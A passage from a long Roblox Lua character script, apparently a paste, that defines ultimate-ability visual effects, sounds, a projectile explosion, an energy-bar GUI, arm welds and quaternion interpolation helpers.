  1352. if basiccooldown >= 5 then
  1353. hum.WalkSpeed = 0
  1354. local sparta = Instance.new("Part",workspace)
  1355. local msher = Instance.new("SpecialMesh",sparta)
  1356. msher.MeshType = "Sphere"
  1357. msher.Scale = vt(1,1,1)
  1358. wit = BrickColor.new("Really black").Color
  1359. local glowz = Instance.new("ParticleEmitter")
  1360. glowz.LightEmission = 1
  1361. glowz.Parent = sparta
  1362. glowz.Texture = "rbxassetid://284205403"
  1363. glowz.Color = ColorSequence.new(wit)
  1364. glowz.Size = NumberSequence.new(15)
  1365. glowz.Speed = NumberRange.new(100,250)
  1366. glowz.LockedToPart = false
  1367. glowz.Transparency = NumberSequence.new(0.75)
  1368. glowz.RotSpeed = NumberRange.new(-2000,2000)
  1369. glowz.Lifetime = NumberRange.new(1)
  1370. glowz.Rate = 50000
  1371. glowz.VelocitySpread = 9001
  1372. local sa2 = Instance.new("Sound",sparta)
  1373. sa2.SoundId = "rbxassetid://93724183"
  1374. sa2.Pitch = 0.5
  1375. sa2.Volume = 5
  1376. sa2.Looped = false
  1377. sa2:Play()
  1378. local saz2 = Instance.new("Sound",sparta)
  1379. saz2.SoundId = "rbxassetid://199145659"
  1380. saz2.Pitch = 0.45
  1381. saz2.Volume = 5*2
  1382. saz2.Looped = false
  1383. local plode = Instance.new("Sound",sparta)
  1384. plode.SoundId = "rbxassetid://153274423"
  1385. plode.Volume = 5
  1386. plode.Pitch = 1
  1387. plode.Looped = false
  1388. local ploder = Instance.new("Sound",sparta)
  1389. ploder.SoundId = "rbxassetid://130972023"
  1390. ploder.Volume = 5
  1391. ploder.Pitch = 1
  1392. ploder.Looped = false
  1393. sparta.Size = vt(1,1,1)
  1394. sparta.BrickColor = BrickColor.new("Really black")
  1395. sparta.Material = "Neon"
  1396. sparta.Transparency = 0
  1397. sparta.Anchored = true
  1398. sparta.CanCollide = false
  1399. sparta.CFrame = tors.CFrame
  1400. sparta.Rotation = vt(0,0,0)
  1401. local value2 = 2
  1402. for i = 0, 24 do
  1403. value2 = value2 - 0.065
  1404. msher.Scale = msher.Scale + vt(value2,value2,value2)
  1405. wait()
  1406. end
  1407. for i = 0, 10 do
  1408. value2 = value2 + 0.06575
  1409. msher.Scale = msher.Scale + vt(value2,value2,value2)
  1410. wait()
  1411. end
  1412. for i = 0, 10 do
  1413. value2 = value2 - 0.2
  1414. msher.Scale = msher.Scale + vt(value2,value2,value2)
  1415. wait()
  1416. end
  1417. for i = 0, 10 do
  1418. value2 = value2 + 0.275
  1419. msher.Scale = msher.Scale + vt(value2,value2,value2)
  1420. wait()
  1421. end
  1422. for i = 0, 10 do
  1423. value2 = value2 - 0.4
  1424. msher.Scale = msher.Scale + vt(value2,value2,value2)
  1425. wait()
  1426. end
  1427. for i = 0, 10 do
  1428. value2 = value2 + 0.475
  1429. msher.Scale = msher.Scale + vt(value2,value2,value2)
  1430. wait()
  1431. end
  1432. for i = 0, 10 do
  1433. value2 = value2 - 0.6
  1434. msher.Scale = msher.Scale + vt(value2,value2,value2)
  1435. wait()
  1436. end
  1437. for i = 0, 10 do
  1438. value2 = value2 + 0.675
  1439. msher.Scale = msher.Scale + vt(value2,value2,value2)
  1440. wait()
  1441. end
  1442. for i = 0, 10 do
  1443. value2 = value2 - 0.7
  1444. msher.Scale = msher.Scale + vt(value2,value2,value2)
  1445. wait()
  1446. end
  1447. for i = 0, 10 do
  1448. value2 = value2 + 0.775
  1449. msher.Scale = msher.Scale + vt(value2,value2,value2)
  1450. wait()
  1451. end
  1452. saz2:Play()
  1453. wait(2.75)
  1454. plode:Play()
  1455. ploder:Play()
  1456. Ultramode = true
  1457. for i = 0, 75 do
  1458. value2 = value2 - 0.0575
  1459. glowz.Rate = 0
  1460. sparta.Transparency = sparta.Transparency + 0.025
  1461. msher.Scale = msher.Scale + vt(value2,value2,value2)
  1462. wait()
  1463. end
  1464. hum.WalkSpeed = 16
  1465. sparta:Destroy()
  1466. end
  1467. end
  1468.  
  1469.  
  1470. function Blaze2()
  1471. if ultcooldown >= 30 then
  1472. local sloc = Instance.new("Part",workspace)
  1473. local msh = Instance.new("SpecialMesh",sloc)
  1474. msh.MeshType = "Sphere"
  1475. sloc.Size = vt(1,1,1)
  1476. sloc.Transparency = 1
  1477. sloc.BrickColor = tors.BrickColor
  1478. sloc.Position = hed.Position + vt(0,0.1,0)
  1479. sloc.CanCollide = false
  1480. sloc.Shape = "Ball"
  1481. sloc.Anchored = true
  1482. sloc.Material = "Neon"
  1483. local s = Instance.new("Sound",char)
  1484. s.SoundId = "rbxassetid://289315275"
  1485. s.Pitch = 1
  1486. s.Volume = 2.75
  1487. s.Looped = false
  1488. s:Play()
  1489. local s2 = Instance.new("Sound",char)
  1490. s2.SoundId = "rbxassetid://671759140"
  1491. s2.Pitch = 0.425
  1492. s2.Volume = 1
  1493. s2.Looped = false
  1494. s2:Play()
  1495. local val = 0.65*5
  1496. for i = 0 , 75 do
  1497. sloc.Transparency = sloc.Transparency - 0.035
  1498. msh.Scale = msh.Scale + vt(val,val,val)
  1499. val = val - 0.0075*5
  1500. wait()
  1501. end
  1502. wait(2)
  1503. local sen = Instance.new("Sound",char)
  1504. sen.SoundId = "rbxassetid://289315275"
  1505. sen.Pitch = 1
  1506. sen.Volume = 2.75
  1507. sen.Looped = false
  1508. sen:Play()
  1509. local tick = Instance.new("Sound",char)
  1510. tick.SoundId = "rbxassetid://446876721"
  1511. tick.Volume = 2.5
  1512. tick.Pitch = 0.5
  1513. tick:Play()
  1514. msh.Scale = msh.Scale - vt(1,1,1)
  1515. sloc.Transparency = sloc.Transparency + 0.015
  1516. local spart = Instance.new("Part",workspace)
  1517. local msh2 = Instance.new("SpecialMesh",spart)
  1518. msh2.MeshType = "Sphere"
  1519. spart.Size = vt(2,2,2)
  1520. spart.Shape = "Ball"
  1521. spart.BrickColor = tors.BrickColor
  1522. spart.Material = "Neon"
  1523. spart.Transparency = 0
  1524. spart.Anchored = false
  1525. msh2.Scale = msh.Scale/2
  1526. spart.Rotation = hed.Rotation
  1527. spart.CanCollide = false
  1528. spart.Position = sloc.Position + vt(math.random(-0,0),math.random(-0,0),math.random(-0,0))
  1529. local bv = Instance.new("BodyVelocity")
  1530. bv.maxForce = Vector3.new(1e9, 1e9, 1e9)
  1531. bv.velocity = mouse.Hit.lookVector * 125
  1532. bv.Parent = spart
  1533. sloc:Destroy()
  1534. wait(0.00001)
  1535. pewdiepie=spart.Touched:connect(function(hit)
  1536. ExplodeMassen(100,spart)
  1537. end)
  1538. wait(5)
  1539. sloc:Destroy()
  1540. tick:Destroy()
  1541. s:Destroy()
  1542. sen:Destroy()
  1543. s2:Destroy()
  1544. end
  1545. if ultcooldown < 1 then
  1546. for i = 0, 29 do
  1547. ultcooldown = ultcooldown + 1
  1548. wait(1)
  1549. end
  1550. end
  1551. end
  1552.  
  1553. function Blaze()
  1554. if ultcooldown >= 30 then
  1555. local ff = Instance.new("ForceField",char)
  1556. local s = Instance.new("Sound",char)
  1557. s.SoundId = "rbxassetid://289315275"
  1558. s.Pitch = 1
  1559. s.Volume = 2.75
  1560. s.Looped = false
  1561. s:Play()
  1562. local s2 = Instance.new("Sound",char)
  1563. s2.SoundId = "rbxassetid://671759140"
  1564. s2.Pitch = 0.425
  1565. s2.Volume = 1
  1566. s2.Looped = false
  1567. s2:Play()
  1568. local spart = boll:Clone()
  1569. local spart2 = shur:Clone()
  1570. local msh = Instance.new("SpecialMesh",spart)
  1571. msh.MeshType = "Sphere"
  1572. spart.Parent = workspace
  1573. spart.Transparency = 1
  1574. spart.Anchored = true
  1575. spart.Position = tors.Position + vt(0,1,0)
  1576. spart.Size = spart.Size + vt(1,1,1)
  1577. for i = 0, 10 do
  1578. spart.BrickColor = tors.BrickColor
  1579. spart.Transparency = spart.Transparency + -0.05
  1580. spart.Position = tors.Position + vt(0,1,0)
  1581. spart.Size = spart.Size + vt(3,3,3)
  1582. wait(0)
  1583. end
  1584. for i = 0, 5 do
  1585. spart.BrickColor = tors.BrickColor
  1586. spart.Transparency = spart.Transparency + -0.05
  1587. spart.Position = tors.Position + vt(0,1,0)
  1588. spart.Size = spart.Size + vt(2.5,2.5,2.5)
  1589. wait(0)
  1590. end
  1591. for i = 0, 5 do
  1592. spart.BrickColor = tors.BrickColor
  1593. spart.Transparency = spart.Transparency + -0.05
  1594. spart.Position = tors.Position + vt(0,1,0)
  1595. spart.Size = spart.Size + vt(1,1,1)
  1596. wait(0)
  1597. end
  1598. for i = 0, 10 do
  1599. spart.BrickColor = tors.BrickColor
  1600. wait(0.1)
  1601. end
  1602. for i = 0, 20 do
  1603. spart.BrickColor = tors.BrickColor
  1604. spart.Transparency = spart.Transparency + 0.05
  1605. spart.Position = tors.Position + vt(0,1,0)
  1606. spart.Size = spart.Size + vt(-5,-5,-5)
  1607. wait(0)
  1608. end
  1609. local sp = spart:Clone()
  1610. sp.Parent = workspace
  1611. sp.Position = spart.Position
  1612. local sp2 = sp:Clone()
  1613. sp2.Parent = workspace
  1614. sp2.Transparency = 0.5
  1615. local msh2 = sp2.Mesh
  1616. msh2.Scale = vt(1250,1250,1250)
  1617. wit = tors.BrickColor.Color
  1618. local glowz = Instance.new("ParticleEmitter")
  1619. glowz.LightEmission = 0.75
  1620. glowz.Parent = sp2
  1621. glowz.Texture = "rbxassetid://284205403"
  1622. glowz.Color = ColorSequence.new(wit)
  1623. glowz.Size = NumberSequence.new(50)
  1624. glowz.Speed = NumberRange.new(425,450)
  1625. glowz.LockedToPart = false
  1626. glowz.Transparency = NumberSequence.new(0.75)
  1627. glowz.RotSpeed = NumberRange.new(-2000,2000)
  1628. glowz.Lifetime = NumberRange.new(1)
  1629. glowz.Rate = 50000
  1630. glowz.VelocitySpread = 9001
  1631. spart2.Parent = workspace
  1632. spart2.Mesh.Scale = vt(25, 90000, 25)
  1633. spart2.Position = tors.Position
  1634. local seen = Instance.new("Sound",char)
  1635. seen.SoundId = "rbxassetid://445796828"
  1636. seen.Pitch = 0.75
  1637. seen.Volume = 1.75
  1638. seen.Looped = true
  1639. seen:Play()
  1640. local sen = Instance.new("Sound",char)
  1641. sen.SoundId = "rbxassetid://289315275"
  1642. sen.Pitch = 0.98
  1643. sen.Volume = 2.65
  1644. sen.Looped = false
  1645. sen:Play()
  1646. local tick = Instance.new("Sound",char)
  1647. tick.SoundId = "rbxassetid://446876721"
  1648. tick.Volume = 5
  1649. tick.Pitch = 0.5
  1650. tick:Play()
  1651. local seena = Instance.new("Sound",char)
  1652. seena.SoundId = "rbxassetid://300916057"
  1653. seena.Pitch = 0.5
  1654. seena.Volume = 2.5
  1655. seena.Looped = false
  1656. seena:Play()
  1657. spart.Transparency = 0
  1658. ExplodeMass(1000,sp)
  1659. for i = 0, 450 do
  1660. spart2.Position = spart.Position + vt(math.random(-1,1),0,math.random(-1,1))
  1661. sp2.Position = spart.Position
  1662. spart2.Mesh.Scale = spart2.Mesh.Scale + vt(0.035, 0, 0.035)
  1663. spart2.BrickColor = tors.BrickColor
  1664. msh2.Scale = msh2.Scale + vt(3.5,3.5,3.5)
  1665. msh.Scale = msh.Scale + vt(50,50,50)
  1666. sp2.Transparency = sp2.Transparency + 0.0005
  1667. spart.Transparency = spart.Transparency + 0.0025
  1668. spart2.Transparency = spart2.Transparency + 0.0025
  1669. wait(0)
  1670. end
  1671. spart:Destroy()
  1672. seena:Destroy()
  1673. ff:Destroy()
  1674. seen:Destroy()
  1675. sen:Destroy()
  1676. tick:Destroy()
  1677. spart2:Destroy()
  1678. s:Destroy()
  1679. sp:Destroy()
  1680. sp2:Destroy()
  1681. s2:Destroy()
  1682. end
  1683. if ultcooldown < 1 then
  1684. for i = 0, 29 do
  1685. ultcooldown = ultcooldown + 1
  1686. wait(1)
  1687. end
  1688. end
  1689. end
  1690.  
  1691. -- sin
  1692. Player=game:GetService("Players").LocalPlayer
  1693. Character=Player.Character
  1694. PlayerGui=Player.PlayerGui
  1695. Backpack=Player.Backpack
  1696. Torso=Character.Torso
  1697. Head=Character.Head
  1698. Humanoid=Character.Humanoid
  1699. m=Instance.new('Model',Character)
  1700. LeftArm=Character["Left Arm"]
  1701. LeftLeg=Character["Left Leg"]
  1702. RightArm=Character["Right Arm"]
  1703. RightLeg=Character["Right Leg"]
  1704. LS=Torso["Left Shoulder"]
  1705. LH=Torso["Left Hip"]
  1706. RS=Torso["Right Shoulder"]
  1707. RH=Torso["Right Hip"]
  1708. Face = Head.face
  1709. Neck=Torso.Neck
  1710. it=Instance.new
  1711. attacktype=1
  1712. vt=Vector3.new
  1713. cf=CFrame.new
  1714. euler=CFrame.fromEulerAnglesXYZ
  1715. angles=CFrame.Angles
  1716. cloaked=false
  1717. necko=cf(0, 1, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0)
  1718. necko2=cf(0, -0.5, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0)
  1719. LHC0=cf(-1,-1,0,-0,-0,-1,0,1,0,1,0,0)
  1720. LHC1=cf(-0.5,1,0,-0,-0,-1,0,1,0,1,0,0)
  1721. RHC0=cf(1,-1,0,0,0,1,0,1,0,-1,-0,-0)
  1722. RHC1=cf(0.5,1,0,0,0,1,0,1,0,-1,-0,-0)
  1723. RootPart=Character.HumanoidRootPart
  1724. RootJoint=RootPart.RootJoint
  1725. RootCF=euler(-1.57,0,3.14)
  1726. attack = false
  1727. attackdebounce = false
  1728. deb=false
  1729. equipped=true
  1730. hand=false
  1731. MMouse=nil
  1732. combo=0
  1733. mana=0
  1734. trispeed=1
  1735. pathtrans=.7
  1736. attackmode='none'
  1737. local idle=0
  1738. local Anim="Idle"
  1739. local Effects={}
  1740. local gun=false
  1741. local shoot=false
  1742. player=nil
  1743. cloak=false
  1744. lightcolor='Bright blue'
  1745.  
  1746. local Color1=BrickColor.new("Pastel Blue")
  1747.  
  1748. local fengui=it("GuiMain")
  1749. fengui.Parent=Player.PlayerGui
  1750. fengui.Name="WeaponGUI"
  1751. local fenframe=it("Frame")
  1752. fenframe.Parent=fengui
  1753. fenframe.BackgroundColor3=Color3.new(255,255,255)
  1754. fenframe.BackgroundTransparency=1
  1755. fenframe.BorderColor3=Color3.new(17,17,17)
  1756. fenframe.Size=UDim2.new(0.0500000007, 0, 0.100000001, 0)
  1757. fenframe.Position=UDim2.new(0.4,0,0.1,0)
  1758. local fenbarmana1=it("TextLabel")
  1759. fenbarmana1.Parent=fenframe
  1760. fenbarmana1.Text=" "
  1761. fenbarmana1.BackgroundTransparency=0
  1762. fenbarmana1.BackgroundColor3=Color3.new(0,0,0)
  1763. fenbarmana1.SizeConstraint="RelativeXY"
  1764. fenbarmana1.TextXAlignment="Center"
  1765. fenbarmana1.TextYAlignment="Center"
  1766. fenbarmana1.Position=UDim2.new(0,0,0,0)
  1767. fenbarmana1.Size=UDim2.new(4,0,0.2,0)
  1768. local fenbarmana2=it("TextLabel")
  1769. fenbarmana2.Parent=fenframe
  1770. fenbarmana2.Text=" "
  1771. fenbarmana2.BackgroundTransparency=0
  1772. fenbarmana2.BackgroundColor3=Torso.Color
  1773. fenbarmana2.SizeConstraint="RelativeXY"
  1774. fenbarmana2.TextXAlignment="Center"
  1775. fenbarmana2.TextYAlignment="Center"
  1776. fenbarmana2.Position=UDim2.new(0,0,0,0)
  1777. fenbarmana2.Size=UDim2.new(4*mana/100,0,0.2,0)
  1778. local fenbarmana3=it("TextLabel")
  1779. fenbarmana3.Parent=fenframe
  1780. fenbarmana3.Text=" "
  1781. fenbarmana3.BackgroundTransparency=0
  1782. fenbarmana3.BackgroundColor3=Color3.new(Col1,Col2,Col3)
  1783. fenbarmana3.SizeConstraint="RelativeXY"
  1784. fenbarmana3.TextXAlignment="Center"
  1785. fenbarmana3.TextYAlignment="Center"
  1786. fenbarmana3.Position=UDim2.new(0,0,0,0)
  1787. fenbarmana3.Size=UDim2.new(0,0,0.2,0)
  1788. local fenbarmana4=it("TextLabel")
  1789. fenbarmana4.Parent=fenframe
  1790. fenbarmana4.Text="Energy("..mana..")"
  1791. fenbarmana4.BackgroundTransparency=1
  1792. fenbarmana4.BackgroundColor3=Color3.new(0,0,0)
  1793. fenbarmana4.SizeConstraint="RelativeXY"
  1794. fenbarmana4.TextXAlignment="Center"
  1795. fenbarmana4.TextYAlignment="Center"
  1796. fenbarmana4.Position=UDim2.new(0,0,-0.3,0)
  1797. fenbarmana4.Size=UDim2.new(4,0,0.2,0)
  1798. fenbarmana4.FontSize="Size9"
  1799. fenbarmana4.TextStrokeTransparency=0
  1800. fenbarmana4.TextColor=BrickColor.new("White")
  1801.  
  1802. mouse=Player:GetMouse()
  1803. --save shoulders
  1804. RSH, LSH=nil, nil
  1805. --welds
  1806. RW, LW=Instance.new("Weld"), Instance.new("Weld")
  1807. RW.Name="Right Shoulder" LW.Name="Left Shoulder"
  1808. LH=Torso["Left Hip"]
  1809. RH=Torso["Right Hip"]
  1810. TorsoColor=BrickColor.new("Pastel Blue")
  1811. function NoOutline(Part)
  1812. Part.TopSurface,Part.BottomSurface,Part.LeftSurface,Part.RightSurface,Part.FrontSurface,Part.BackSurface = 10,10,10,10,10,10
  1813. end
  1814. player=Player
  1815. ch=Character
  1816. RSH=ch.Torso["Right Shoulder"]
  1817. LSH=ch.Torso["Left Shoulder"]
  1818. --
  1819. RSH.Parent=nil
  1820. LSH.Parent=nil
  1821. --
  1822. RW.Name="Right Shoulder"
  1823. RW.Part0=ch.Torso
  1824. RW.C0=cf(1.5, 0.5, 0) --* CFrame.fromEulerAnglesXYZ(1.3, 0, -0.5)
  1825. RW.C1=cf(0, 0.5, 0)
  1826. RW.Part1=ch["Right Arm"]
  1827. RW.Parent=ch.Torso
  1828. --
  1829. LW.Name="Left Shoulder"
  1830. LW.Part0=ch.Torso
  1831. LW.C0=cf(-1.5, 0.5, 0) --* CFrame.fromEulerAnglesXYZ(1.7, 0, 0.8)
  1832. LW.C1=cf(0, 0.5, 0)
  1833. LW.Part1=ch["Left Arm"]
  1834. LW.Parent=ch.Torso
  1835.  
  1836.  
  1837. function part(formfactor,parent,reflectance,transparency,brickcolor,name,size)
  1838. local fp=it("Part")
  1839. fp.formFactor=formfactor
  1840. fp.Parent=parent
  1841. fp.Reflectance=reflectance
  1842. fp.Transparency=transparency
  1843. fp.CanCollide=false
  1844. fp.Locked=true
  1845. fp.BrickColor=brickcolor
  1846. fp.Name=name
  1847. fp.Size=size
  1848. fp.Position=Torso.Position
  1849. NoOutline(fp)
  1850. fp.Material="Neon"
  1851. fp:BreakJoints()
  1852. return fp
  1853. end
  1854.  
  1855. function mesh(Mesh,part,meshtype,meshid,offset,scale)
  1856. local mesh=it(Mesh)
  1857. mesh.Parent=part
  1858. if Mesh=="SpecialMesh" then
  1859. mesh.MeshType=meshtype
  1860. if meshid~="nil" then
  1861. mesh.MeshId="http://www.roblox.com/asset/?id="..meshid
  1862. end
  1863. end
  1864. mesh.Offset=offset
  1865. mesh.Scale=scale
  1866. return mesh
  1867. end
  1868.  
  1869. function weld(parent,part0,part1,c0)
  1870. local weld=it("Weld")
  1871. weld.Parent=parent
  1872. weld.Part0=part0
  1873. weld.Part1=part1
  1874. weld.C0=c0
  1875. return weld
  1876. end
  1877.  
  1878. local Color1=BrickColor.new("Pastel Blue")
  1879.  
  1880. local bodvel=Instance.new("BodyVelocity")
  1881. local bg=Instance.new("BodyGyro")
  1882.  
  1883. function swait(num)
  1884. if num==0 or num==nil then
  1885. game:service'RunService'.Stepped:wait(0)
  1886. else
  1887. for i=0,num do
  1888. game:service'RunService'.Stepped:wait(0)
  1889. end
  1890. end
  1891. end
  1892.  
  1893.  
  1894. so = function(id,par,vol,pit)
  1895. coroutine.resume(coroutine.create(function()
  1896. local sou = Instance.new("Sound",par or workspace)
  1897. sou.Volume=vol
  1898. sou.Pitch=pit or 1
  1899. sou.SoundId=id
  1900. swait()
  1901. sou:play()
  1902. game:GetService("Debris"):AddItem(sou,6)
  1903. end))
  1904. end
  1905.  
  1906. function clerp(a,b,t)
  1907. local qa = {QuaternionFromCFrame(a)}
  1908. local qb = {QuaternionFromCFrame(b)}
  1909. local ax, ay, az = a.x, a.y, a.z
  1910. local bx, by, bz = b.x, b.y, b.z
  1911. local _t = 1-t
  1912. return QuaternionToCFrame(_t*ax + t*bx, _t*ay + t*by, _t*az + t*bz,QuaternionSlerp(qa, qb, t))
  1913. end
  1914.  
  1915. function QuaternionFromCFrame(cf)
  1916. local mx, my, mz, m00, m01, m02, m10, m11, m12, m20, m21, m22 = cf:components()
  1917. local trace = m00 + m11 + m22
  1918. if trace > 0 then
  1919. local s = math.sqrt(1 + trace)
  1920. local recip = 0.5/s
  1921. return (m21-m12)*recip, (m02-m20)*recip, (m10-m01)*recip, s*0.5
  1922. else
  1923. local i = 0
  1924. if m11 > m00 then
  1925. i = 1
  1926. end
  1927. if m22 > (i == 0 and m00 or m11) then
  1928. i = 2
  1929. end
  1930. if i == 0 then
  1931. local s = math.sqrt(m00-m11-m22+1)
  1932. local recip = 0.5/s
  1933. return 0.5*s, (m10+m01)*recip, (m20+m02)*recip, (m21-m12)*recip
  1934. elseif i == 1 then
  1935. local s = math.sqrt(m11-m22-m00+1)
  1936. local recip = 0.5/s
  1937. return (m01+m10)*recip, 0.5*s, (m21+m12)*recip, (m02-m20)*recip
  1938. elseif i == 2 then
  1939. local s = math.sqrt(m22-m00-m11+1)
  1940. local recip = 0.5/s return (m02+m20)*recip, (m12+m21)*recip, 0.5*s, (m10-m01)*recip
  1941. end
  1942. end
  1943. end
  1944.  
  1945. function QuaternionToCFrame(px, py, pz, x, y, z, w)
  1946. local xs, ys, zs = x + x, y + y, z + z
  1947. local wx, wy, wz = w*xs, w*ys, w*zs
  1948. local xx = x*xs
  1949. local xy = x*ys
  1950. local xz = x*zs
  1951. local yy = y*ys
  1952. local yz = y*zs
  1953. local zz = z*zs
  1954. return CFrame.new(px, py, pz,1-(yy+zz), xy - wz, xz + wy,xy + wz, 1-(xx+zz), yz - wx, xz - wy, yz + wx, 1-(xx+yy))
  1955. end
  1956.  
  1957. function QuaternionSlerp(a, b, t)
  1958. local cosTheta = a[1]*b[1] + a[2]*b[2] + a[3]*b[3] + a[4]*b[4]
  1959. local startInterp, finishInterp;
  1960. if cosTheta >= 0.0001 then
  1961. if (1 - cosTheta) > 0.0001 then
  1962. local theta = math.acos(cosTheta)
  1963. local invSinTheta = 1/math.sin(theta)
  1964. startInterp = math.sin((1-t)*theta)*invSinTheta
  1965. finishInterp = math.sin(t*theta)*invSinTheta
  1966. else
  1967. startInterp = 1-t
  1968. finishInterp = t
  1969. end
  1970. else
  1971. if (1+cosTheta) > 0.0001 then
  1972. local theta = math.acos(-cosTheta)
  1973. local invSinTheta = 1/math.sin(theta)
  1974. startInterp = math.sin((t-1)*theta)*invSinTheta
  1975. finishInterp = math.sin(t*theta)*invSinTheta
  1976. else
  1977. startInterp = t-1
  1978. finishInterp = t
  1979. end
  1980. end
  1981. return a[1]*startInterp + b[1]*finishInterp, a[2]*startInterp + b[2]*finishInterp, a[3]*startInterp + b[3]*finishInterp, a[4]*startInterp + b[4]*finishInterp
  1982. end
  1983.  
  1984. function rayCast(Pos, Dir, Max, Ignore) -- Origin Position , Direction, MaxDistance , IgnoreDescendants
  1985. return game:service("Workspace"):FindPartOnRay(Ray.new(Pos, Dir.unit * (Max or 999.999)), Ignore)
  1986. end
  1987.  
  1988. function SkullEffect(brickcolor,cframe,x1,y1,z1,delay)
  1989. local prt=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5))
  1990. prt.Anchored=true
  1991. prt.CFrame=cframe
  1992. local msh=mesh("SpecialMesh",prt,"FileMesh","http://www.roblox.com/asset/?id=4770583",vt(0,0,0),vt(x1,y1,z1))
  1993. --http://www.roblox.com/asset/?id=4770560
  1994. game:GetService("Debris"):AddItem(prt,2)
  1995. CF=prt.CFrame
  1996. coroutine.resume(coroutine.create(function(Part,Mesh,TehCF)
  1997. for i=0,1,0.2 do
  1998. wait()
  1999. Part.CFrame=CF*cf(0,0,-0.4)
  2000. end
  2001. for i=0,1,delay do
  2002. wait()
  2003. --Part.CFrame=CF*cf((math.random(-1,0)+math.random())/5,(math.random(-1,0)+math.random())/5,(math.random(-1,0)+math.random())/5)
  2004. Mesh.Scale=Mesh.Scale
  2005. end
  2006. for i=0,1,0.1 do
  2007. wait()
  2008. Part.Transparency=i
  2009. end
  2010. Part.Parent=nil
  2011. end),prt,msh,CF)
  2012. end
  2013.  
  2014. function MagicBlock(brickcolor,cframe,x1,y1,z1,x3,y3,z3,delay)
  2015. local prt=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5))
  2016. prt.Anchored=true
  2017. prt.CFrame=cframe
  2018. msh=mesh("BlockMesh",prt,"","",vt(0,0,0),vt(x1,y1,z1))
  2019. game:GetService("Debris"):AddItem(prt,5)
  2020. coroutine.resume(coroutine.create(function(Part,Mesh)
  2021. for i=0,1,delay do
  2022. wait()
  2023. Part.CFrame=Part.CFrame*euler(math.random(-50,50),math.random(-50,50),math.random(-50,50))
  2024. Part.Transparency=i
  2025. Mesh.Scale=Mesh.Scale+vt(x3,y3,z3)
  2026. end
  2027. Part.Parent=nil
  2028. end),prt,msh)
  2029. end
  2030.  
  2031. function MagicBlock2(brickcolor,cframe,Parent,x1,y1,z1,x3,y3,z3,delay)
  2032. local prt=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5))
  2033. prt.Anchored=false
  2034. prt.CFrame=cframe
  2035. msh=mesh("BlockMesh",prt,"","",vt(0,0,0),vt(x1,y1,z1))
  2036. local wld=weld(prt,prt,Parent,cframe)
  2037. game:GetService("Debris"):AddItem(prt,5)
  2038. coroutine.resume(coroutine.create(function(Part,Mesh,Weld)
  2039. for i=0,1,delay do
  2040. wait()
  2041. Weld.C0=euler(math.random(-50,50),math.random(-50,50),math.random(-50,50))*cframe
  2042. --Part.CFrame=Part.CFrame*euler(math.random(-50,50),math.random(-50,50),math.random(-50,50))
  2043. Part.Transparency=i
  2044. Mesh.Scale=Mesh.Scale+vt(x3,y3,z3)
  2045. end
  2046. Part.Parent=nil
  2047. end),prt,msh,wld)
  2048. end
  2049.  
  2050. function MagicBlock3(brickcolor,cframe,Parent,x1,y1,z1,x3,y3,z3,delay)
  2051. local prt=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5))
  2052. prt.Anchored=false
  2053. prt.CFrame=cframe
  2054. msh=mesh("BlockMesh",prt,"","",vt(0,0,0),vt(x1,y1,z1))
  2055. local wld=weld(prt,prt,Parent,euler(0,0,0)*cf(0,0,0))
  2056. game:GetService("Debris"):AddItem(prt,5)
  2057. coroutine.resume(coroutine.create(function(Part,Mesh,Weld)
  2058. for i=0,1,delay do
  2059. wait()
  2060. Weld.C0=euler(i*20,0,0)
  2061. --Part.CFrame=Part.CFrame*euler(math.random(-50,50),math.random(-50,50),math.random(-50,50))
  2062. Part.Transparency=i
  2063. Mesh.Scale=Mesh.Scale+vt(x3,y3,z3)
  2064. end
  2065. Part.Parent=nil
  2066. end),prt,msh,wld)
  2067. end
  2068.  
  2069. function MagicCircle2(brickcolor,cframe,x1,y1,z1,x3,y3,z3,delay)
  2070. local prt=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5))
  2071. prt.Anchored=true
  2072. prt.CFrame=cframe
  2073. local msh=mesh("CylinderMesh",prt,"","",vt(0,0,0),vt(x1,y1,z1))
  2074. game:GetService("Debris"):AddItem(prt,2)
  2075. coroutine.resume(coroutine.create(function(Part,Mesh)
  2076. for i=0,1,delay do
  2077. wait()
  2078. Part.CFrame=Part.CFrame
  2079. Mesh.Scale=Mesh.Scale+vt(x3,y3,z3)
  2080. local prt2=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5))
  2081. prt2.Anchored=true
  2082. prt2.CFrame=cframe*euler(math.random(-50,50),math.random(-50,50),math.random(-50,50))
  2083. local msh2=mesh("SpecialMesh",prt2,"Sphere","",vt(0,0,0),vt(0.5,0.5,0.5))
  2084. game:GetService("Debris"):AddItem(prt2,2)
  2085. coroutine.resume(coroutine.create(function(Part,Mesh)
  2086. for i=0,1,0.1 do
  2087. wait()
  2088. Part.CFrame=Part.CFrame*cf(0,0.5,0)
  2089. end
  2090. Part.Parent=nil
  2091. end),prt2,msh2)
  2092. end
  2093. for i=0,1,delay*2 do
  2094. wait()
  2095. Part.CFrame=Part.CFrame
  2096. Mesh.Scale=vt((x1+x3)-(x1+x3)*i,(y1+y3)-(y1+y3)*i,(z1+z3)-(z1+z3)*i)
  2097. end
  2098. Part.Parent=nil
  2099. end),prt,msh)
  2100. end
  2101.  
  2102. function MagicCircle(brickcolor,cframe,x1,y1,z1,x3,y3,z3,delay)
  2103. local prt=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5))
  2104. prt.Anchored=true
  2105. prt.CFrame=cframe
  2106. local msh=mesh("SpecialMesh",prt,"Sphere","",vt(0,0,0),vt(x1,y1,z1))
  2107. game:GetService("Debris"):AddItem(prt,2)
  2108. coroutine.resume(coroutine.create(function(Part,Mesh)
  2109. for i=0,1,delay do
  2110. wait()
  2111. Part.CFrame=Part.CFrame
  2112. Part.Transparency=i
  2113. Mesh.Scale=Mesh.Scale+vt(x3,y3,z3)
  2114. end
  2115. Part.Parent=nil
  2116. end),prt,msh)
  2117. end
  2118.  
  2119. function MagicRing(brickcolor,cframe,x1,y1,z1,x2,y2,z2,x3,y3,z3)
  2120. local prt=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5))
  2121. prt.Anchored=true
  2122. prt.CFrame=cframe*euler(x2,y2,z2)
  2123. --"http://www.roblox.com/asset/?id=168892465"
